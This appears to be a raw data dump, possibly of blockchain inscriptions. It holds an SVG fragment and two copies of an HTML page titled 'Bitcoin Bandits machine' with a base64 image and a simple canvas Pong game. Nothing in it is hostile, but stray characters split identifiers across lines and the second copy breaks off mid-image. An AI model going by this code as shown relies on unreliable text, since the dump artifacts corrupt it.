18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="750" height="5M
85" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.heightM
/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fM
illStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=lefM
tPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaM/
ddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
